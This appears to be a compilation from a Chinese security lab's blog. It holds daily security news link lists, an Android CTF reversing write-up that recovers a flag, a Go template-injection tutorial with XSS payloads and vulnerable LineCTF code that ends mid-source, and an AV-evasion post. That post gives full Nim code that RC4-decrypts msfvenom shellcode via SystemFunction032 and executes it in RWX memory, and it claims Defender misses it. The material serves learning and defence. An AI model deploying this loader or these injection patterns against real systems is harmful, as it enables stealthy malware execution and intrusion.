网络安全日报 2022年11月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Twitter 数据泄露比最初报告的更大,可能超过 1 亿用户受到影响 https://www.securityweek.com/twitter-data-breach-bigger-initially-reported 2、爱尔兰数据监管机构因Meta数据泄露问题对其处以 2.65 亿欧元罚款 https://www.securityweek.com/irish-regulator-fines-meta-265-million-euros-over-data-breach 3、十多个新的 BMC 固件漏洞使 OT 和 IoT 设备面临远程攻击 https://thehackernews.com/2022/11/over-dozen-new-bmc-firmware-flaws.html 4、某些 Acer 笔记本电脑中的漏洞可用于绕过UEFI安全启动 https://securityaffairs.co/wordpress/139055/hacking/acer-flaw-uefi-secure-boot.html 5、酒店管理公司Sonder遭遇数据泄露 https://www.infosecurity-magazine.com/news/sonder-confirms-data-breach/ 6、加拿大安大略省中学教师联合会遭受勒索软件攻击 https://www.thepeterboroughexaminer.com/ts/news/gta/2022/11/23/osstf-victim-of-ransomware-attack-notifies-members-of-personal-data-compromised.html 7、Maple Leaf Foods承认受到勒索攻击并表示不会支付赎金 https://www.itworldcanada.com/article/black-basta-ransomware-group-claims-it-hit-maple-leaf-foods/515358 8、研究人员发现Koxic勒索软件正在韩国传播 https://asec.ahnlab.com/en/42343/ 9、研究人员称网络犯罪团伙正在非洲各地扩张 https://www.pehalnews.in/gangs-of-cybercriminals-are-expanding-across-africa-investigators-say/2645667/ 10、一团伙假装应聘潜入电商公司安装木马软件,盗取物流信息 https://www.secrss.com/articles/49375
网络安全日报 2022年11月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、美国FCC以国家安全风险为由禁止进口华为、中兴等五家公司的电子设备 https://securityaffairs.co/wordpress/138998/breaking-news/fcc-bans-import-chinese-equipment.html 2、戴尔、惠普和联想的设备使用过时的 OpenSSL 版本 https://securityaffairs.co/wordpress/138986/security/dell-hp-lenovo-openssl-outdated.html 3、谷歌修复了今年以来第八个chrome零日漏洞 https://securityaffairs.co/wordpress/138977/hacking/8-google-chrome-zero-day.html 4、专家调查 WhatsApp 数据泄露:5 亿用户记录待售 https://securityaffairs.co/wordpress/138967/data-breach/whatsapp-data-leak-500m.html 5、英国警方逮捕了 142 个与"iSpoof"电话欺骗服务有关的嫌疑人 https://thehackernews.com/2022/11/uk-police-arrest-142-in-global.html 6、Windows IKE v1协议扩展被发现存在远程代码执行漏洞 https://www.infosecurity-magazine.com/news/rce-vulnerability-in-windows-ike/ 7、新德里的全印度医学科学研究所遭受勒索软件攻击 https://techcrunch.com/2022/11/24/india-aiims-outages-cyberattack/ 8、BlackBasta勒索组织利用Qakbot传播勒索软件 https://www.infosecurity-magazine.com/news/qakbot-linked-to-black-basta/ 9、Docker Hub存储库中存在1650个以上的恶意容器 https://www.bleepingcomputer.com/news/security/docker-hub-repositories-hide-over-1-650-malicious-containers/ 10、攻击者利用仿冒的MSI Afterburner程序攻击Windows游戏玩家 https://www.bleepingcomputer.com/news/security/fake-msi-afterburner-targets-windows-gamers-with-miners-info-stealers/
一道Android题目逆向动态调试
题目来源于海淀区网络与信息安全管理员大赛,题目中将加密验证算法打包进.so,在程序中动态调用check。 本题目通过System.loadLibrary("native-lib")加载了libnative-lib.so文件,该文件通过jeb可以实现提取 图1 题目关键代码 调试环境选择与配置 mumu模拟器 x64位版本,测试后发现sprintf会导致程序崩溃 夜神模拟器x64,x32的版本经过测试后,sprintf均导致程序崩溃 雷电5模拟器测试后,sprintf导致程序崩溃,动态调试libnative-lib.so时,且无法下载libart.so 最终选用 mumu x32位版本可以进行调试 动态调试选用IDA+MUMU x86模拟器对动态库libnative-lib.so调试 调试环境 adb的基础配置 mumu模拟器使用的adb为adb_server.exe,这里将adb_server.exe为便于使用重新命名为adb.exe,打开一个cmd终端,adb 接入模拟器中 adb connect 127.0.0.1:7555 图2 adb 服务端连接 通过adb 将apk 包安装进安卓的模拟器 adb install test.apk 通过cmd再打开一个终端,通过adb shell可以直接进入到模拟器shell中 图3 adb shell连接 应用程序的配置 在新起的cmd终端,通过动态调试模式来启动app ./adb shell am start -D -n com.example.dynamic/.MainActivity android包实际的packet以及类如下图所示com.example.dynamic/.MainActivity 图4 adb 启动程序分析 运行 adb shell am start命令后,mumu模拟器中如图5所示 图5 adb 动态调试程序 IDA 的配置 上传IDA的动态服务端android_x86_server到模拟器/data/local/tmp中,tmp文件夹是具有可执行权限的 ./adb push android_x86_server /data/local/tmp 图6 查看tmp文件夹权限 赋予android_x86_server可执行权限 chmod +x android_x86_server 执行android_x86_server,会监听23946端口,但是仍需要通过adb进行端口转发转发到本地监听 ./adb.exe forward tcp:23946 tcp:23946 图7 启动IDA 调试server端 通过以上步骤使启动服务端IDA的监听 配置本地IDA remote linux debug参数,如图8所示 图8 配置IDA动态调试 通过attach process 打开远程端的进程 图9 IDA远程attach 选择对应的进程,这里选用1535进程 ‘ 图10 附加到指定进程 通过以上步骤,将IDA 服务端和.so文件关联到一起,仍需要唤醒被调试的程序,此时mumu模拟器中仍旧如图11所示 图11 dynamic程序界面 通过jdb来唤醒被调试程序,本机调试的时候jdb使用java sdk自带的jdb,需要两步操作 通过adb将进程进行转发,进程号是图n中所示的1535 ./adb forward tcp:8700 jdwp:1535 通过jdb唤醒操作 jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 再回到IDA中,选择F9继续运行程序,会弹出框选择本地程序与远程是否一样选项框,主要匹配的是动态库libnative-lib.so这个名字 图12 IDA提示检测到本地.so IDA中断点断在ptrace前,mumu模拟器中界面未完全同步 图13 附加到调试进程后,dynamic界面 IDA中界面如下 图14 IDA中显示断点 .so的调试 反调试绕过 该.so使用了ptrace 反调试,在ptrace处设置断点,下断点的时候有两种方案 一种是设置IDA 的调试调试,设置载入lib的时候suspend 图15 IDA调试选项配置 当看到IDA中载入libnative-lib.so时,通过快捷键Ctrl-S打开加载的段,查找libnative-lib.so所在内存1 图16 查看IDA中的代码段 还可以在模拟器shell中,查看具体的内存信息 图17 adb shell中查看内存中的数据地址分布 在动态调试的过程中,重置ptrace 的返回值,绕过该处反调试 图18 重置eax的值 可以直接右键或者在eax寄存器上使用快捷键0重置 另外一种方式是直接在ptrace上下断点,在调试的时候当IDA弹窗如图17所示时,程序会直接断在ptrace断点处。如果没有弹出该弹窗,直接在IDA中分析该so时下的断点无效。 图19 重置eax的值 注册native的方法 在 Native文件中代码如下 static JNINativeMethod jniMethods[] = { {"check", "(Ljava/lang/String;)Z", (void *)hello}, }; boolean xxxx( char* s) { // do something return JNI_TRUE; } #在JNI_OnLoad中调用RegisterNatives方法注册Natives方法到JVM,建立映射关系。 int JNI_OnLoad(JavaVM *vm, void *reserved) {    JNIEnv *env;    if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK) {        return JNI_ERR;   }    jclass cls = (*env)->FindClass(env, "LHelloJNI");    if (cls == NULL)        return JNI_ERR;    int len = sizeof(jniMethods) / sizeof(jnimethods[0]);   (*env)->RegisterNatives(env, cls, jniMethods, len);    return JNI_VERSION_1_4; } check 函数的定位 在apk文件中,反编译后可以看到check函数位于libnative-lib.so中,但是libnative-lib.so中并没有check函数 图20 查找check函数 Java调用.so库函数可以通过静态注册和动态注册两种方式,题目通过动态注册的方式来对函数进行调用 在上图中methods一列,是一个JNINativeMethod的数组,JNINativeMethod结构包含三个成员 const char \*name: Java中声明的native方法。 const char \*signature:方法的签名。 void \*fnPtr: 函数指针 在题目的methods中,check字符串,对应的函数指针为Z4xxxxP7_JNIEnvP8_jobjectP8_jstring ; xxxx(JNIEnv *,jobject *,jstring *)也就是xxxx函数。 图21 定位check函数 MD5的简单调试 MD5_init的过程如下,根据初始值可以大概判定题目通过md5算hash值 *(_OWORD *)v63 = xmmword_B2E6FA40; .rodata:B2E6FA40 xmmword_B2E6FA40 xmmword 1032547698BADCFEEFCDAB8967452301h 经过fff函数转换后的md5值放入[esp+0B4]中 .text:B2E51040 8D 84 24 B4 00 00 00    lea     eax, [esp+0B4h] .text:B2E51047 89 44 24 04             mov     [esp+4], eax .text:B2E5104B 8D 44 24 58             lea     eax, [esp+58h] .text:B2E5104F 89 04 24                mov     [esp], eax .text:B2E51052 E8 A9 E7 FF FF          call    __Z4ffffP7MD5_CTXPh ; ffff(MD5_CTX *,uchar *) 读取[esp+0xB4]的值 Python>esp=get_reg_value('esp') Python>data=get_bytes(esp+0xb4,16) Python>data.hex() 'a82e0cb168bfe134f22dbde167cf046c' 通过python计算wojiushidaan0!!!的md5值为 >>> import hashlib >>> result=hashlib.md5("wojiushidaan0!!!".encode()) >>> result <md5 _hashlib.HASH object @ 0x00000167FF8BDEF0> >>> result.hexdigest() 'a82e0cb168bfe134f22dbde167cf046c' 两者可以对应起来,题目计算了wojiushidaan0!!!的md5值 程序最终经过memcmp比较的时候的值为 .text:B2F11398 89 54 24 08             mov     [esp+8], edx .text:B2F1139C 8B 44 24 14             mov     eax, [esp+14h] .text:B2F113A0 89 44 24 04             mov     [esp+4], eax   ; s2 .text:B2F113A4 89 0C 24                mov     [esp], ecx     ; s1 .text:B2F113A7 E8 84 E4 FF FF          call    _memcmp 提取eax的值为 b'c640fc761edbd22f431efb861bc0e28a' 提取ecx的值为 b'12345678123456781234567812345678' 程序的输入为 图22 调试flag结果 推导可知题目的正确输入为 flag{c640fc761edbd22f431efb861bc0e28a} 图23 验证flag结果 在调试md5的时候,使用了IDA的上色功能,通过单步步过调试,给执行过的代码染色 IDAPro 单步步过上色调试脚本 def get_new_color(current_color):  colors = [0xffe699, 0xffcc33, 0xe6ac00, 0xb38600]  if current_color == 0xFFFFFF:    return colors[0]  if current_color in colors:    pos = colors.index(current_color)    if pos == len(colors)-1:      return colors[pos]    else:      return colors[pos+1]  return 0xFFFFFF addr = ida_dbg.get_ip_val() while addr < 0xB2ED241F:  event = wait_for_next_event(WFNE_ANY, -1)  t = step_over()  addr = ida_dbg.get_ip_val()  current_color = get_color(addr, CIC_ITEM)  new_color = get_new_color(current_color)  set_color(addr, CIC_ITEM, new_color) #https://www.cnblogs.com/blacksunny/p/7300271.html参考trace 修改的step over 有待改进的地方 绕过反调试依赖于动态调试时的修改寄存器实现 本文涉及的命令 adb connect 127.0.0.1:7555 adb install test.apk ./adb shell am start -D -n com.example.dynamic/.MainActivity ./adb push android_x86_server /data/local/tmp ./adb.exe forward tcp:23946 tcp:23946 ./adb forward tcp:8700 jdwp:1535 jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
网络安全日报 2022年11月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员称 iPhone 的分析数据不是匿名的 https://securityaffairs.co/wordpress/138884/digital-id/iphone-found-collecting-personal-data.html 2、数以百万计的 Android 设备仍然没有更新 Mali GPU 漏洞补丁 https://thehackernews.com/2022/11/million-of-android-devices-still-dont.html 3、Qakbot 感染与 Black Basta 勒索软件活动有关 https://www.infosecurity-magazine.com/news/qakbot-linked-to-black-basta/ 4、20万Roblox玩家安装了恶意Chrome扩展程序"SearchBlox" https://www.bleepingcomputer.com/news/security/backdoored-chrome-extension-installed-by-200-000-roblox-players/ 5、Ducktail组织利用WhatsApp进行钓鱼活动以窃取Facebook商业账户 https://www.bleepingcomputer.com/news/security/ducktail-hackers-now-use-whatsapp-to-phish-for-facebook-ad-accounts/ 6、美国国防部发布零信任网络战略和路线图 https://www.secrss.com/articles/49269 7、黑客通过已停产的Boa Web服务器漏洞破坏能源组织 https://securityaffairs.co/wordpress/138916/hacking/boa-web-servers-attacks.html 8、印度证券业关键机构遭恶意软件入侵,部分设备已隔离 https://www.secrss.com/articles/49261 9、Nighthawk可能成为继CobaltStrike后新的黑客后渗透工具 https://thehackernews.com/2022/11/nighthawk-likely-to-become-hackers-new.html 10、D0nut勒索组织正对企业部署双重勒索 https://www.freebuf.com/news/350528.html
SystemFunction032函数的免杀研究
什么是SystemFunction032函数? 虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。 这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。 不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。 初步想法 虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。 通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。 1、打开一个到进程的句柄 2、在该进程中分配具有RW/RX或RWX权限的内存 3、将Shellcode写入该区域 4、(可选)将权限从RW改为RX,以便执行 5、以线程/APC/回调/其他方式执行Shellcode。 为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。 例如,对于AES解密,流程通常是这样的。 1、打开一个到进程的句柄 2、用RW/RX或RWX的权限在该进程中分配内存 3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中 4、将Shellcode写入分配的区域中 5、(可选)把执行的权限从RW改为RX 6、以线程/APC/回调/其他方式执行Shellcode 在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。 XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。 1、为进程打开一个句柄 2、在该进程中以RW/RX或RWX的权限分配内存 3、将Shellcode写入分配的区域中 4、XOR解密Shellcode的内存区域 5、(可选)把执行的权限从RW改为RX 6、以线程/APC/回调/其他方式执行Shellcode。 但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。 这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。 生成POC 首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。 msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin 但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。 最终修改为 openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin 我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。 import winim import winim/lean # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin const encstring = slurp"calc.bin" func toByteSeq*(str: string): seq[byte] {.inline.} =  ## Converts a string to the corresponding byte sequence. @(str.toOpenArrayByte(0, str.high)) proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}   # This is the mentioned RC4 struct type   USTRING* = object       Length*: DWORD       MaximumLength*: DWORD       Buffer*: PVOID var keyString: USTRING var imgString: USTRING # Our encryption Key var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] keyString.Buffer = cast[PVOID](&keyBuf) keyString.Length = 16 keyString.MaximumLength = 16 var shellcode = toByteSeq(encstring) var size  = len(shellcode) # We need to still get the Shellcode to memory to encrypt it with SystemFunction032 let tProcess = GetCurrentProcessId() echo "Current Process ID: ", tProcess var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) echo "Process Handle: ", repr(pHandle) let rPtr = VirtualAllocEx(   pHandle,   NULL,   cast[SIZE_T](size),   MEM_COMMIT,   PAGE_READ_WRITE ) copyMem(rPtr, addr shellcode[0], size) # Fill the RC4 struct imgString.Buffer = rPtr imgString.Length = cast[DWORD](size) imgString.MaximumLength = cast[DWORD](size) # Call SystemFunction032 SystemFunction032(&imgString, &keyString) copyMem(addr shellcode[0],rPtr ,size) echo "Writing encrypted shellcode to dec.bin" writeFile("enc.bin", shellcode) # enc.bin contains our encrypted Shellcode 之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。 #!/usr/bin/env python3 from typing import Iterator from base64 import b64encode # Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071 def key_scheduling(key: bytes) -> list: sched = [i for i in range(0, 256)] i = 0 for j in range(0, 256): i = (i + sched[j] + key[j % len(key)]) % 256 tmp = sched[j] sched[j] = sched[i] sched[i] = tmp return sched def stream_generation(sched: list[int]) -> Iterator[bytes]: i, j = 0, 0 while True: i = (1 + i) % 256 j = (sched[i] + j) % 256 tmp = sched[j] sched[j] = sched[i] sched[i] = tmp yield sched[(sched[i] + sched[j]) % 256]         def encrypt(plaintext: bytes, key: bytes) -> bytes: sched = key_scheduling(key) key_stream = stream_generation(sched) ciphertext = b'' for char in plaintext: enc = char ^ next(key_stream) ciphertext += bytes([enc]) return ciphertext if __name__ == '__main__': # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin with open('calc.bin', 'rb') as f: result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa') print(b64encode(result).decode()) 为了执行这个shellcode,我们可以简单地使用以下Nim代码。 import winim import winim/lean # (OPTIONAL) do some Environmental Keying stuff # Encrypted with the previous code # Embed the encrypted Shellcode on compile time as string const encstring = slurp"enc.bin" func toByteSeq*(str: string): seq[byte] {.inline.} =  ## Converts a string to the corresponding byte sequence. @(str.toOpenArrayByte(0, str.high)) proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".} type   USTRING* = object       Length*: DWORD       MaximumLength*: DWORD       Buffer*: PVOID var keyString: USTRING var imgString: USTRING # Same Key var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] keyString.Buffer = cast[PVOID](&keyBuf) keyString.Length = 16 keyString.MaximumLength = 16 var shellcode = toByteSeq(encstring) var size  = len(shellcode) let tProcess = GetCurrentProcessId() echo "Current Process ID: ", tProcess var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) let rPtr = VirtualAllocEx(   pHandle,   NULL,   cast[SIZE_T](size),   MEM_COMMIT,   PAGE_EXECUTE_READ_WRITE ) copyMem(rPtr, addr shellcode[0], size) imgString.Buffer = rPtr imgString.Length = cast[DWORD](size) imgString.MaximumLength = cast[DWORD](size) # Decrypt memory region with SystemFunction032 SystemFunction032(&imgString, &keyString) # (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans # Directly call the Shellcode instead of using a Thread/APC/Callback/whatever let f = cast[proc(){.nimcall.}](rPtr) f() 最终效果,至少windows defender不会报毒。 通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。 后记 之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。 简单来讲是以下这种情况: 1、调用SystemFunction032来解密Shellcode 2、直接调用它 例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。
网络安全日报 2022年11月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、深圳发布首个公共数据安全领域标准《公共数据安全要求》 https://www.freebuf.com/news/350609.html 2、LockBit 3.攻击了加拿大韦斯特蒙市政服务平台,导致其瘫痪 https://www.freebuf.com/news/350538.html 3、黑客组织 Killnet 对英国网站发起多次攻击 https://www.express.co.uk/news/uk/1699778/Killnet-hackers-Russia-war-UK-websites-Royal-Family-latest-update 4、 恶意安卓应用伪装成文件管理器传播Sharkbot窃密木马 https://www.bleepingcomputer.com/news/security/android-file-manager-apps-infect-thousands-with-sharkbot-malware/ 5、以世界杯为主题的钓鱼网站大幅增加 https://securityboulevard.com/2022/11/surge-of-fake-fifa-world-cup-streaming-sites-targets-virtual-fans/ 6、Windows 8.1 将于明年 1 月 10 日停止支持 https://www.solidot.org/story?sid=73442 7、勒索软件RansomExx2 已使用 Rust 完全重写 https://securityintelligence.com/posts/ransomexx-upgrades-rust/ 8、澳大利亚慈善机构The Smith Family遭受网络攻击 https://www.govinfosecurity.com/australian-childrens-charity-breach-affects-80000-donors-a-20528 9、研究人员发现新的勒索软件-Donut https://www.bleepingcomputer.com/news/security/donut-extortion-group-also-targets-victims-with-ransomware/ 10、支付宝等5家机构首批通过“个人金融信息保护能力”认证 http://www.news.cn/tech/20221122/3452a998efbb4e91b1b8417de8ea0db5/c.html
浅学Go下的ssti漏洞问题
前言 作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。 GO模板引擎 Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。 template简介 template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子 模板内容 Hello, {{.Name}} Welcome to go web programming… 期待输出 Hello, liumiaocn Welcome to go web programming… 而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。 text/template package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下 模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }} 期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com 可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。 package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }} 期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com 实际输出 弹出/xss/ 这里就是text/template和html/template的最大不同了。 html/template 同样的例子,但是我们把导入的模板包变成html/template package main import ( "net/http" "html/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。 而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。 html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。 template常用基本语法 在{{}}内的操作称之为pipeline {{.}} 表示当前对象,如user对象 {{.FieldName}} 表示对象的某个字段 {{range …}}{{end}} go中for…range语法类似,循环 {{with …}}{{end}} 当前对象的值,上下文 {{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择 {{xxx | xxx}} 左边的输出作为右边的输入 {{template "navbar"}} 引入子模版 漏洞演示 在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符. 在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。 package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 输出为 模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }} 期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John] 可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。 接下来就以几道题目来验证一下 [LineCTF2022]gotm package main import ( "encoding/json" "fmt" "log" "net/http" "os" "text/template" "github.com/golang-jwt/jwt" ) type Account struct { id         string pw         string is_admin   bool secret_key string } type AccountClaims struct { Id       string `json:"id"` Is_admin bool   `json:"is_admin"` jwt.StandardClaims } type Resp struct { Status bool   `json:"status"` Msg    string `json:"msg"` } type TokenResp struct { Status bool   `json:"status"` Token  string `json:"token"` } var acc []Account var secret_key = os.Getenv("KEY") var flag = os.Getenv("FLAG") var admin_id = os.Getenv("ADMIN_ID") var admin_pw = os.Getenv("ADMIN_PW") func clear_account() { acc = acc[:1] } func get_account(uid string) Account { for i := range acc { if acc[i].id == uid { return acc[i] } } return Account{} } func jwt_encode(id string, is_admin bool) (string, error) { claims := AccountClaims{ id, is_admin, jwt.StandardClaims{}, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString([]byte(secret_key)) } func jwt_decode(s string) (string, bool) { token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) { return []byte(secret_key), nil }) if err != nil { fmt.Println(err) return "", false } if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid { return claims.Id, claims.Is_admin } return "", false } func auth_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if len(acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } w.WriteHeader(http.StatusForbidden) return } func regist_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} acc = append(acc, new_acc) p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } func flag_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } } func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { return } } func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin) 